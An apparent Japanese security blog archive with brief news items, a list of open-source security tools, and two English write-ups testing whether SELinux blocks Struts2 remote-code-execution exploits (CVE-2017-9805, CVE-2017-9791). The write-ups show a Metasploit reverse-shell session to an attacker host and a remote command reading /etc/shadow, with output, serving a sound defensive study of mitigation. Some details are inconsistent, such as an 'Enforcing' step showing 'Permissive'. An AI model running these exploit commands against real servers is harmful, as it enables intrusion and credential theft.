2022年10月12日水曜日

Node.jsのvm2のサンドボックスからの脱出の脆弱性(Sandbreak: CVE-2022-36067)

Node.jsのvm2のサンドボックスから脱出が可能になる脆弱性が公開されたようです。Sandbreak: CVE-2022-36067とされています。 今回の脆弱性(Sandbreak)は、Oxeyeの研究者によって発見されました。この脆弱性はvm2のプロジェクトに共有され、修正された3.9.11がリリースされています。 詳細はOxeyeのブログで確認できます。

2019年2月11日月曜日

2019年1月24日木曜日

Snortの開発者"Martin Roesch"氏がSnortを離れるそうです


Snortの開発者である"Martin Roesch"氏が、Snortの開発から離れるそうです。

https://seclists.org/snort/2019/q1/99

今後のSnortの開発がどうなるかが気になる所ですが、一方で氏が新しく何をやるかが面白そうです。

2018年9月12日水曜日

OpenSSL 1.1.1リリース

OpenSSL 1.1.1がリリースされたようです。





OpenSSL 1.1.1リリース

OpenSSL 1.1.1がリリースされたようです。

一次情報源

OpenSSL Blog: OpenSSL 1.1.1 Is Released

今回の1.1.1はLTS(Long Time Support)となるため、調べておいたほうが良い情報だと思われます。

今回の目玉はやはりTLS1.3のサポートです。

主な更新はこちらになるようです。

  • クライアントとサーバ間での必要な往復の回数を削減することによる接続時間の改善
  • 特定の状況でクライアントが暗号化されたデータを、サーバが必要とするラウンドトリップなしに送ることが出来る機能(0-RTT)
  • 特定の状況でクライアントが暗号化されたデータを、サーバが必要とするラウンドトリップなしに送ることが出来る機能(0-RTT)
  • OpenSSLの乱数生成器の完全な書き直し
    • デフォルトのRANDメソッドはNIST Standard SP800-90Ar1に沿う為、AES-CTR DRBGを使用
    • 複数のDRBGインスタンスをサポート
    • パブリック・プライベートのDRBGインスタンスを使用
    • DRBGはfork-safe
    • 全てのグローバルDRBGはセキュアヒープが有効にされている場合にはそちらで
    • パブリック・プライベートのDRBGインスタンスはスレッドごとにロックフリー操作が可能
  • 新規アルゴリズムのサポート
    • SHA3
    • SHA512/224 and SHA512/256
    • EdDSA (including Ed25519 and Ed448)
    • X448 (adding to the existing X25519 support in 1.1.0)
    • Multi-prime RSA
    • SM2
    • SM3
    • SM4
    • SipHash
    • ARIA (including TLS support)

2018年4月23日月曜日

OSS_Security_Category_2018


カテゴリ一覧(逐次更新)

  1. ネットワーク

    1. ファイアウォール

      1. netfilter(https://www.netfilter.org/)

      2. firewalld(https://www.firewalld.org/)

    2. プロキシ

      1. Squid(http://www.squid-cache.org/)

    3. IDS/IPS

      1. Snort(https://snort.org/)

    4. WAF

      1. ModSecurity(https://www.modsecurity.org/)

      2. NAXSI(https://github.com/nbs-system/naxsi)

    5. パケットキャプチャ/解析

      1. Moloch(https://github.com/aol/moloch)

  2. 運用監視・管理・レポーティング

    1. 運用監視

      1. Nagios(https://www.nagios.org/)

      2. Zabbix(https://www.zabbix.com/)

      3. Cacti(https://www.cacti.net/)

    2. パッチ・コンテンツ管理

      1. Katello(https://theforeman.org/plugins/katello/)

      2. Spacewalk(https://spacewalkproject.github.io/)

    3. 脆弱性管理

      1. OpenSCAP(https://www.open-scap.org/)

      2. OpenVAS(http://openvas.org/)

      3. Vuls(https://github.com/future-architect/vuls)

    4. SIEM

      1. OSSIM(https://www.alienvault.com/products/ossim/)

      2. SIEMonter(https://siemonster.com/)

    5. ネットワークセキュリティ監視

      1. Bro(https://www.bro.org/)

    6. ネットワークフォレンジック解析

      1. Xplico(http://www.xplico.org/download)

    7. レポーティング

      1. Dradis(https://dradisframework.com/ce/)

    8. 情報収集

      1. Maltego(https://www.paterva.com/web7/)

    9. インシデント・レスポンス

      1. Google Rapid Response(https://github.com/google/grr)

      2. TheHive(https://github.com/TheHive-Project/TheHive)

  3. OS

    1. アクセス制御

      1. SELinux

      2. AppArmor

      3. SMACK

      4. TOMOYO

    2. セキュリティツール専用OS

      1. SECURITY ONION(https://securityonion.net/)

      2. SIFT(https://digital-forensics.sans.org/community/downloads)

  4. システム連携

    1. 認証・アクセス管理

    2. ディレクトリサービス

    3. ID管理

  5. 暗号化

    1. SSL

      1. OpenSSL(https://www.openssl.org/)

      2. LibreSSL(http://www.libressl.org/)

    2. SSH

      1. OpenSSH(https://www.openssh.com/)

      2. Apache MINA SSHD(https://mina.apache.org/sshd-project/index.html)

    3. VPN

      1. OpenVPN(https://openvpn.net/)

  6. スキャン・攻撃解析及びテスト

    1. ポートスキャン

      1. nmap (https://nmap.org/)

    2. マルウェア解析

      1. IRMA (http://irma.quarkslab.com/)

      2. Malice (https://github.com/maliceio/malice)

      3. MISP (http://www.misp-project.org/)

    3. 攻撃解析

      1. Cortex (https://github.com/TheHive-Project/Cortex)

    4. リバースエンジニアリング

      1. radare2 (https://github.com/radare/radare2)

    5. サンドボックス

      1. Cuckoo (https://cuckoosandbox.org/)

    6. 侵入テスト

      1. Metasploit Framework(https://github.com/rapid7/metasploit-framework)

      2. Kali Linux(https://www.kali.org/)

その他指摘事項

  1. サーバ仮想化 --> 仮想化に直してはどうか?

    1. VM

      1. qemu

      2. KVM

      3. Xen

      4. VirtualBox

    2. コンテナ

      1. Docker

      2. OpenVZ

      3. LXC/LXD

      4. containerd

      5. runc

      6. cri-o

    3. 関連ソフトウェア

      1. virt-manager

      2. libvirt

      3. VirtualBox

    4. DragonFly BSD --> 「仮想化」でしょうか?

  2. Cloud Native Storageの追加(https://raw.githubusercontent.com/cncf/landscape/master/landscape/CloudNativeLandscape_latest.png)

    1. LeoFS(https://leo-project.net/leofs/)

2017年9月11日月曜日

S2-052: CVE-2017-9805(Struts2) PoC with SELinux

We did recently "Important" Struts2 vulnerability(CVE-2017-9805) PoC to check how SELinux can mitigate that vulnerability.

(Written by Kazuki Omo:ka-omo@sios.com).

Prepare for PoC

Here is a description how to reproduce it. I used CentOS7 image for the PoC. I used VMWare Guest(CPU: 1, Memory: 2GB) for the PoC. Also, I used selinux-policy-targeted-3.13.1-145.el7.noarch (See related post: http://www.secureoss.jp/post/omok-selinux-struts2-20170607/).

  1. Install tomcat and related packages for working Struts2.

  2. Download and install vulnerable version of Struts2. I used struts-2.5.11. Copy struts2-showcase.war and struts2-rest-showcase.war under /var/lib/tomcat/webapps

    root@centos7:~# ls /var/ls /var/lib/tomcat/webapps/*war
    /var/lib/tomcat/webapps/struts2-showcase.war
    /var/lib/tomcat/webapps/struts2-rest-showcase.war
    
  3. Prepare Metasploit for the PoC. You can easy to use "Kali Linux(https://www.kali.org/downloads/)" for running Metasploit Framework. Run "apt-get update ; apt-get upgrade" for updating Kali Linux completely, then follow the procedure for running CVE-2017-9805 PoC (Set up Metasploit Module for Apache Struts2 Rest : http://hackersgrid.com/2017/09/metasploit-module-for-apache-struts-2-rest-cve-2017-9805.html).

  4. To avoid normal Unix permission check for the PoC, I changed /etc/shadow permission to 755.

    root@centos7:~# ls -lZ /etc/shadow
    -rwxr-xr-x. root root system_u:object_r:shadow_t:s0        /etc/shadow
    

PoC with no SELinux(SELinux Permissive)

  1. Confirm SELinux is Permissive mode;

    root@centos7:~# getenforce
    Permissive
    
  2. Run PoC from msfconsole(Metasploit). AA.AA.AA.AA is Kali Linux IP, and XX.XX.X.XX is Struts2 PoC server;

     msf exploit(struts2_rest_xstream) > exploit
    
     [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 
     [*] Accepted the first client connection...
     [*] Accepted the second client connection...
     [*] Command: echo DxP98C50UAVxX6jn;
     [*] Writing to socket A
     [*] Writing to socket B
     [*] Reading from sockets...
     [*] Reading from socket B
     [*] B: "DxP98C50UAVxX6jn\r\n"
     [*] Matching...
     [*] A is input...
     [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:42:12 +0900
    
     id
     uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
    
     root:XXXXXX.::0:99999:7:::
     bin:*:17110:0:99999:7:::
     daemon:*:17110:0:99999:7:::
     --snip--
     sshd:!!:17247::::::
     jssosug:XXXXXXXXXXXX::0:99999:7:::
    
     jsossug@vmhost:~$
    

PoC with SELinux Enabled(SELinux Enforcing)

  1. Reboot and set SELinux as Enforcing.

    root@centos7:~# getenforce
    Enforcing
    
  2. Run PoC from msfconsole(Metasploit). AA.AA.AA.AA is Kali Linux IP, and XX.XX.X.XX is Struts2 PoC server;

     msf exploit(struts2_rest_xstream) > exploit
    
     [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 
     [*] Accepted the first client connection...
     [*] Accepted the second client connection...
     [*] Command: echo DxP98C50UAVxX6jn;
     [*] Writing to socket A
     [*] Writing to socket B
     [*] Reading from sockets...
     [*] Reading from socket B
     [*] B: "DxP98C50UAVxX6jn\r\n"
     [*] Matching...
     [*] A is input...
     [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:49:01 +0900
    
     id 
     uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
    
     cat /etc/shadow
     cat: /etc/shadow: Permission denied
    
  3. Check AVC log on Struts PC;

    type=AVC msg=audit(1505112552.257:431): avc:  denied  { read } for  pid=4684 comm="cat" name="shadow" dev="dm-1" ino=34690693 scontext=system_u:system_r:tomcat_t:s0 tcontext=system_u:object_r:shadow_t:s0 tclass=file
    

Conclusion

From this PoC we can say

  1. Latest SELinux can mitigate Struts2 vulnerability "if Policy is updated".

2017年8月9日水曜日

S2-048: CVE-2017-9791(Struts2) PoC with SELinux

We did another "Famous" Struts2 vulnerability(CVE-2017-9791) PoC to check how SELinux can mitigate that vulnerability.

(Written by Kazuki Omo:ka-omo@sios.com).

Prepare for PoC

Here is a description how to reproduce it. I used Fedora25 image for the PoC. I used VMWare Guest(CPU: 1, Memory: 2GB) for the PoC. Actually, this PoC environment is almost same as Previous vulnerability (CVE-2017-5638 which we did on June.). Also, I used selinux-policy-targeted-3.13.1-225.11.fc25.noarch because previous policy had un-confined tomcat_t policy(See http://www.secureoss.jp/post/omok-selinux-struts2-20170607/).

  1. Install tomcat and related packages for working Struts2.

  2. Download and install vulnerable version of Struts2. I used both of struts-2.5.10. Copy struts2-showcase.war under /var/lib/tomcat/webapps

    root@fedora25:~# ls /var/ls /var/lib/tomcat/webapps/*war
    /var/lib/tomcat/webapps/struts2-showcase.war
    
  3. Download and copy the PoC code on remote. There are many sample site for the PoC, then I'm not explaining it in here.

  4. To avoid normal Unix permission check for the PoC, I changed /etc/shadow permission to 755.

    root@fedora25:~# ls -lZ /etc/shadow
    -rw-r--r--. root root system_u:object_r:shadow_t:s0        /etc/shadow
    

PoC with no SELinux(SELinux Permissive)

  1. Confirm SELinux is Permissive mode;

    root@fedora25:~# getenforce
    Permissive
    
  2. Run PoC from remote host(jssosug@vmhost);

     jsossug@vmhost:~$ python Struts048.py http://172.16.148.147:8080/struts2-showcase/integration/saveGangster.action "cat /etc/shadow"
    
     root:XXXXXX.::0:99999:7:::
     bin:*:17110:0:99999:7:::
     daemon:*:17110:0:99999:7:::
     --snip--
     sshd:!!:17247::::::
     jssosug:XXXXXXXXXXXX::0:99999:7:::
    
     jsossug@vmhost:~$
    

PoC with SELinux Enabled(SELinux Enforcing)

  1. Reboot and set SELinux as Enforcing.

    root@fedora25:~# getenforce
    Permissive
    
  2. Run PoC from remote same as before;

    jsossug@vmhost:~$ python Struts048.py http://172.16.148.147:8080/struts2-showcase/integration/saveGangster.action "cat /etc/shadow"
    cmd: cat /etc/shadow
    
    cat: /etc/shadow: Permission denied
    
  3. Check AVC log on Struts PC;

    type=AVC msg=audit(1598882036.160:219): avc:  denied  { read } for  pid=4413 comm="cat" name="shadow" dev="dm-1" ino=34456196 scontext=system_u:system_r:tomcat_t:s0 tcontext=system_u:object_r:shadow_t:s0 tclass=file
    

Conclusion

From this PoC we can say

  1. SELinux can mitigate Struts2 vulnerability "if Policy is updated".;
  2. Last SELinux Policy is treating "tomcat_t" as "unconfined domain".
  3. Latest version of SELinux Policy will solve the problem.